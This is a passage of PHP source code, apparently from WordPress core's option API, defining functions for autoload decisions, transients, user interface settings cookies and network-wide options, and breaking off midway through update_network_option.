		 * Fires after an option has been deleted.
		 *
		 * @since 2.9.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( 'deleted_option', $option );

		return true;
	}

	return false;
}

/**
 *  Determines the appropriate autoload value for an option based on input.
 *
 *  This function checks the provided autoload value and returns a standardized value
 *  ('on', 'off', 'auto-on', 'auto-off', or 'auto') based on specific conditions.
 *
 * If no explicit autoload value is provided, the function will check for certain heuristics around the given option.
 * It will return `auto-on` to indicate autoloading, `auto-off` to indicate not autoloading, or `auto` if no clear
 * decision could be made.
 *
 * @since 6.6.0
 * @access private
 *
 * @param string    $option           The name of the option.
 * @param mixed     $value            The value of the option to check its autoload value.
 * @param mixed     $serialized_value The serialized value of the option to check its autoload value.
 * @param bool|null $autoload         The autoload value to check.
 *                                    Accepts 'on'|true to enable or 'off'|false to disable, or
 *                                    'auto-on', 'auto-off', or 'auto' for internal purposes.
 *                                    Any other autoload value will be forced to either 'auto-on',
 *                                    'auto-off', or 'auto'.
 *                                    'yes' and 'no' are supported for backward compatibility.
 * @return string Returns the original $autoload value if explicit, or 'auto-on', 'auto-off',
 *                or 'auto' depending on default heuristics.
 */
function wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload ) {

	// Check if autoload is a boolean.
	if ( is_bool( $autoload ) ) {
		return $autoload ? 'on' : 'off';
	}

	switch ( $autoload ) {
		case 'on':
		case 'yes':
			return 'on';
		case 'off':
		case 'no':
			return 'off';
	}

	/**
	 * Allows to determine the default autoload value for an option where no explicit value is passed.
	 *
	 * @since 6.6.0
	 *
	 * @param bool|null $autoload The default autoload value to set. Returning true will be set as 'auto-on' in the
	 *                            database, false will be set as 'auto-off', and null will be set as 'auto'.
	 * @param string    $option   The passed option name.
	 * @param mixed     $value    The passed option value to be saved.
	 */
	$autoload = apply_filters( 'wp_default_autoload_value', null, $option, $value, $serialized_value );
	if ( is_bool( $autoload ) ) {
		return $autoload ? 'auto-on' : 'auto-off';
	}

	return 'auto';
}

/**
 * Filters the default autoload value to disable autoloading if the option value is too large.
 *
 * @since 6.6.0
 * @access private
 *
 * @param bool|null $autoload         The default autoload value to set.
 * @param string    $option           The passed option name.
 * @param mixed     $value            The passed option value to be saved.
 * @param mixed     $serialized_value The passed option value to be saved, in serialized form.
 * @return bool|null Potentially modified $default.
 */
function wp_filter_default_autoload_value_via_option_size( $autoload, $option, $value, $serialized_value ) {
	/**
	 * Filters the maximum size of option value in bytes.
	 *
	 * @since 6.6.0
	 *
	 * @param int    $max_option_size The option-size threshold, in bytes. Default 150000.
	 * @param string $option          The name of the option.
	 */
	$max_option_size = (int) apply_filters( 'wp_max_autoloaded_option_size', 150000, $option );
	$size            = ! empty( $serialized_value ) ? strlen( $serialized_value ) : 0;

	if ( $size > $max_option_size ) {
		return false;
	}

	return $autoload;
}

/**
 * Deletes a transient.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_transient( $transient ) {

	/**
	 * Fires immediately before a specific transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'transient' );
	} else {
		$option_timeout = '_transient_timeout_' . $transient;
		$option         = '_transient_' . $transient;
		$result         = delete_option( $option );

		if ( $result ) {
			delete_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_transient( $transient ) {

	/**
	 * Filters the value of an existing transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $pre_transient The default value to return if the transient does not exist.
	 *                              Any value other than false will short-circuit the retrieval
	 *                              of the transient, and return that value.
	 * @param string $transient     Transient name.
	 */
	$pre = apply_filters( "pre_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'transient' );
	} else {
		$transient_option = '_transient_' . $transient;
		if ( ! wp_installing() ) {
			// If option is not in alloptions, it is not autoloaded and thus has a timeout.
			$alloptions = wp_load_alloptions();

			if ( ! isset( $alloptions[ $transient_option ] ) ) {
				$transient_timeout = '_transient_timeout_' . $transient;
				wp_prime_option_caches( array( $transient_option, $transient_timeout ) );
				$timeout = get_option( $transient_timeout );
				if ( false !== $timeout && $timeout < time() ) {
					delete_option( $transient_option );
					delete_option( $transient_timeout );
					$value = false;
				}
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_option( $transient_option );
		}
	}

	/**
	 * Filters an existing transient's value.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $value     Value of transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.8.0
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped.
 *                           Must be 172 characters or fewer in length.
 * @param mixed  $value      Transient value. Must be serializable if non-scalar.
 *                           Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_transient( $transient, $value, $expiration = 0 ) {

	$expiration = (int) $expiration;

	/**
	 * Filters a specific transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.2.0 The `$expiration` parameter was added.
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value      New value of transient.
	 * @param int    $expiration Time until expiration in seconds.
	 * @param string $transient  Transient name.
	 */
	$value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient );

	/**
	 * Filters the expiration for a transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'transient', $expiration );
	} else {
		$transient_timeout = '_transient_timeout_' . $transient;
		$transient_option  = '_transient_' . $transient;
		wp_prime_option_caches( array( $transient_option, $transient_timeout ) );

		if ( false === get_option( $transient_option ) ) {
			$autoload = true;
			if ( $expiration ) {
				$autoload = false;
				add_option( $transient_timeout, time() + $expiration, '', false );
			}
			$result = add_option( $transient_option, $value, '', $autoload );
		} else {
			/*
			 * If expiration is requested, but the transient has no timeout option,
			 * delete, then re-create transient rather than update.
			 */
			$update = true;

			if ( $expiration ) {
				if ( false === get_option( $transient_timeout ) ) {
					delete_option( $transient_option );
					add_option( $transient_timeout, time() + $expiration, '', false );
					$result = add_option( $transient_option, $value, '', false );
					$update = false;
				} else {
					update_option( $transient_timeout, time() + $expiration );
				}
			}

			if ( $update ) {
				$result = update_option( $transient_option, $value );
			}
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 * @since 4.4.0 The `$transient` parameter was added.
		 *
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  The name of the transient.
		 */
		do_action( "set_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a transient has been set.
		 *
		 * @since 6.8.0
		 *
		 * @param string $transient  The name of the transient.
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'set_transient', $transient, $value, $expiration );

		/**
		 * Fires after the transient is set.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 * @deprecated 6.8.0 Use {@see 'set_transient'} instead.
		 *
		 * @param string $transient  The name of the transient.
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action_deprecated( 'setted_transient', array( $transient, $value, $expiration ), '6.8.0', 'set_transient' );
	}

	return $result;
}

/**
 * Deletes all expired transients.
 *
 * Note that this function won't do anything if an external object cache is in use.
 *
 * The multi-table delete syntax is used to delete the transient record
 * from table a, and the corresponding transient_timeout record from table b.
 *
 * @since 4.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used.
 */
function delete_expired_transients( $force_db = false ) {
	global $wpdb;

	if ( ! $force_db && wp_using_ext_object_cache() ) {
		return;
	}

	$wpdb->query(
		$wpdb->prepare(
			"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
			WHERE a.option_name LIKE %s
			AND a.option_name NOT LIKE %s
			AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
			AND b.option_value < %d",
			$wpdb->esc_like( '_transient_' ) . '%',
			$wpdb->esc_like( '_transient_timeout_' ) . '%',
			time()
		)
	);

	if ( ! is_multisite() ) {
		// Single site stores site transients in the options table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
				WHERE a.option_name LIKE %s
				AND a.option_name NOT LIKE %s
				AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
				AND b.option_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	} elseif ( is_main_site() && is_main_network() ) {
		// Multisite stores site transients in the sitemeta table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b
				WHERE a.meta_key LIKE %s
				AND a.meta_key NOT LIKE %s
				AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
				AND b.meta_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	}
}

/**
 * Saves and restores user interface settings stored in a cookie.
 *
 * Checks if the current user-settings cookie is updated and stores it. When no
 * cookie exists (different browser used), adds the last saved cookie restoring
 * the settings.
 *
 * @since 2.7.0
 */
function wp_user_settings() {

	if ( ! is_admin() || wp_doing_ajax() ) {
		return;
	}

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	if ( ! is_user_member_of_blog() ) {
		return;
	}

	$settings = (string) get_user_option( 'user-settings', $user_id );

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		// No change or both empty.
		if ( $cookie === $settings ) {
			return;
		}

		$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
		$current    = 0;

		if ( isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ) {
			$current = (int) preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] );
		}

		// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is.
		if ( $current > $last_saved ) {
			update_user_option( $user_id, 'user-settings', $cookie, false );
			update_user_option( $user_id, 'user-settings-time', time() - 5, false );
			return;
		}
	}

	// The cookie is not set in the current browser or the saved value is newer.
	$secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) );
	setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	$_COOKIE[ 'wp-settings-' . $user_id ] = $settings;
}

/**
 * Retrieves user interface setting value based on setting name.
 *
 * @since 2.7.0
 *
 * @param string       $name          The name of the setting.
 * @param string|false $default_value Optional. Default value to return when $name is not set. Default false.
 * @return mixed The last saved user setting or the default value/false if it doesn't exist.
 */
function get_user_setting( $name, $default_value = false ) {
	$all_user_settings = get_all_user_settings();

	return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default_value;
}

/**
 * Adds or updates user interface setting.
 *
 * Both `$name` and `$value` can contain only ASCII letters, numbers, hyphens, and underscores.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.8.0
 *
 * @param string $name  The name of the setting.
 * @param string $value The value for the setting.
 * @return bool|null True if set successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function set_user_setting( $name, $value ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings          = get_all_user_settings();
	$all_user_settings[ $name ] = $value;

	return wp_set_all_user_settings( $all_user_settings );
}

/**
 * Deletes user interface settings.
 *
 * Deleting settings would reset them to the defaults.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.7.0
 *
 * @param string $names The name or array of names of the setting to be deleted.
 * @return bool|null True if deleted successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function delete_user_setting( $names ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings = get_all_user_settings();
	$names             = (array) $names;
	$deleted           = false;

	foreach ( $names as $name ) {
		if ( isset( $all_user_settings[ $name ] ) ) {
			unset( $all_user_settings[ $name ] );
			$deleted = true;
		}
	}

	if ( $deleted ) {
		return wp_set_all_user_settings( $all_user_settings );
	}

	return false;
}

/**
 * Retrieves all user interface settings.
 *
 * @since 2.7.0
 *
 * @global array $_updated_user_settings
 *
 * @return array The last saved user settings or empty array.
 */
function get_all_user_settings() {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return array();
	}

	if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
		return $_updated_user_settings;
	}

	$user_settings = array();

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char.
			parse_str( $cookie, $user_settings );
		}
	} else {
		$option = get_user_option( 'user-settings', $user_id );

		if ( $option && is_string( $option ) ) {
			parse_str( $option, $user_settings );
		}
	}

	$_updated_user_settings = $user_settings;
	return $user_settings;
}

/**
 * Private. Sets all user interface settings.
 *
 * @since 2.8.0
 * @access private
 *
 * @global array $_updated_user_settings
 *
 * @param array $user_settings User settings.
 * @return bool|null True if set successfully, false if the current user could not be found.
 *                   Null if the current user is not a member of the site.
 */
function wp_set_all_user_settings( $user_settings ) {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return false;
	}

	if ( ! is_user_member_of_blog() ) {
		return null;
	}

	$settings = '';
	foreach ( $user_settings as $name => $value ) {
		$_name  = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name );
		$_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value );

		if ( ! empty( $_name ) ) {
			$settings .= $_name . '=' . $_value . '&';
		}
	}

	$settings = rtrim( $settings, '&' );
	parse_str( $settings, $_updated_user_settings );

	update_user_option( $user_id, 'user-settings', $settings, false );
	update_user_option( $user_id, 'user-settings-time', time(), false );

	return true;
}

/**
 * Deletes the user settings of the current user.
 *
 * @since 2.7.0
 */
function delete_all_user_settings() {
	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	update_user_option( $user_id, 'user-settings', '', false );
	setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
}

/**
 * Retrieve an option value for the current network based on name of option.
 *
 * @since 2.8.0
 * @since 4.4.0 The `$use_cache` parameter was deprecated.
 * @since 4.4.0 Modified into wrapper for get_network_option()
 *
 * @see get_network_option()
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @param bool   $deprecated    Whether to use cache. Multisite only. Always set to true.
 * @return mixed Value set for the option.
 */
function get_site_option( $option, $default_value = false, $deprecated = true ) {
	return get_network_option( null, $option, $default_value );
}

/**
 * Adds a new option for the current network.
 *
 * Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for add_network_option()
 *
 * @see add_network_option()
 *
 * @param string $option Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_site_option( $option, $value ) {
	return add_network_option( null, $option, $value );
}

/**
 * Removes an option by name for the current network.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for delete_network_option()
 *
 * @see delete_network_option()
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_site_option( $option ) {
	return delete_network_option( null, $option );
}

/**
 * Updates the value of an option that was already added for the current network.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for update_network_option()
 *
 * @see update_network_option()
 *
 * @param string $option Name of the option. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_site_option( $option, $value ) {
	return update_network_option( null, $option, $value );
}

/**
 * Retrieves a network's option value based on the option name.
 *
 * @since 4.4.0
 *
 * @see get_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id    ID of the network. Can be null to default to the current network ID.
 * @param string   $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed    $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @return mixed Value set for the option.
 */
function get_network_option( $network_id, $option, $default_value = false ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Filters the value of an existing network option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.9.0 As 'pre_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_site_option The value to return instead of the option value. This differs from
	 *                                `$default_value`, which is used as the fallback value in the event
	 *                                the option doesn't exist elsewhere in get_network_option().
	 *                                Default false (to skip past the short-circuit).
	 * @param string $option          Option name.
	 * @param int    $network_id      ID of the network.
	 * @param mixed  $default_value   The fallback value to return if the option does not exist.
	 *                                Default false.
	 */
	$pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default_value );

	/**
	 * Filters the value of any existing network option before it is retrieved.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed  $pre_option    The value to return instead of the network option value. This differs
	 *                              from `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_network_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Name of the option.
	 * @param int    $network_id    ID of the network.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( 'pre_site_option', $pre, $option, $network_id, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	// Prevent non-existent options from triggering multiple queries.
	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {

		/**
		 * Filters the value of a specific default network option.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.4.0
		 * @since 4.4.0 The `$option` parameter was added.
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param mixed  $default_value The value to return if the site option does not exist
		 *                              in the database.
		 * @param string $option        Option name.
		 * @param int    $network_id    ID of the network.
		 */
		return apply_filters( "default_site_option_{$option}", $default_value, $option, $network_id );
	}

	if ( ! is_multisite() ) {
		/** This filter is documented in wp-includes/option.php */
		$default_value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
		$value         = get_option( $option, $default_value );
	} else {
		$cache_key = "$network_id:$option";
		$value     = wp_cache_get( $cache_key, 'site-options' );

		if ( ! isset( $value ) || false === $value ) {
			$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );

			// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
			if ( is_object( $row ) ) {
				$value = $row->meta_value;
				$value = maybe_unserialize( $value );
				wp_cache_set( $cache_key, $value, 'site-options' );
			} else {
				if ( ! is_array( $notoptions ) ) {
					$notoptions = array();
				}

				$notoptions[ $option ] = true;
				wp_cache_set( $notoptions_key, $notoptions, 'site-options' );

				/** This filter is documented in wp-includes/option.php */
				$value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
			}
		}
	}

	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	/**
	 * Filters the value of an existing network option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	return apply_filters( "site_option_{$option}", $value, $option, $network_id );
}

/**
 * Adds a new network option.
 *
 * Existing options will not be updated.
 *
 * @since 4.4.0
 *
 * @see add_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id ID of the network. Can be null to default to the current network ID.
 * @param string   $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed    $value      Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	/**
	 * Filters the value of a specific network option before it is added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_add_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id );

	$notoptions_key = "$network_id:notoptions";

	if ( ! is_multisite() ) {
		$result = add_option( $option, $value, '', false );
	} else {
		$cache_key = "$network_id:$option";

		/*
		 * Make sure the option doesn't already exist.
		 * We can check the 'notoptions' cache before we ask for a DB query.
		 */
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' );

		if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
			if ( false !== get_network_option( $network_id, $option, false ) ) {
				return false;
			}
		}

		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->insert(
			$wpdb->sitemeta,
			array(
				'site_id'    => $network_id,
				'meta_key'   => $option,
				'meta_value' => $serialized_value,
			)
		);

		if ( ! $result ) {
			return false;
		}

		wp_cache_set( $cache_key, $value, 'site-options' );

		// This option exists now.
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // Yes, again... we need it to be fresh.

		if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
			unset( $notoptions[ $option ] );
			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been successfully added.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "add_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "add_site_option_{$option}", $option, $value, $network_id );

		/**
		 * Fires after a network option has been successfully added.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'add_site_option', $option, $value, $network_id );

		return true;
	}

	return false;
}

/**
 * Removes a network option by name.
 *
 * @since 4.4.0
 *
 * @see delete_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id ID of the network. Can be null to default to the current network ID.
 * @param string   $option     Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_network_option( $network_id, $option ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Fires immediately before a specific network option is deleted.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	do_action( "pre_delete_site_option_{$option}", $option, $network_id );

	if ( ! is_multisite() ) {
		$result = delete_option( $option );
	} else {
		$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
		if ( is_null( $row ) || ! $row->meta_id ) {
			return false;
		}
		$cache_key = "$network_id:$option";
		wp_cache_delete( $cache_key, 'site-options' );

		$result = $wpdb->delete(
			$wpdb->sitemeta,
			array(
				'meta_key' => $option,
				'site_id'  => $network_id,
			)
		);

		if ( $result ) {
			$notoptions_key = "$network_id:notoptions";
			$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

			if ( ! is_array( $notoptions ) ) {
				$notoptions = array();
			}
			$notoptions[ $option ] = true;
			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "delete_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "delete_site_option_{$option}", $option, $network_id );

		/**
		 * Fires after a network option has been deleted.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'delete_site_option', $option, $network_id );

		return true;
	}

	return false;
}

/**
 * Updates the value of a network option that was already added.
 *
 * @since 4.4.0
 *
 * @see update_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id ID of the network. Can be null to default to the current network ID.
 * @param string   $option     Name of the option. Expected to not be SQL-escaped.
 * @param mixed    $value      Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	$old_value = get_network_option( $network_id, $option );

	/**
	 * Filters a specific network option before its value is updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_update_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      New value of the network option.
	 * @param mixed  $old_value  Old value of the network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
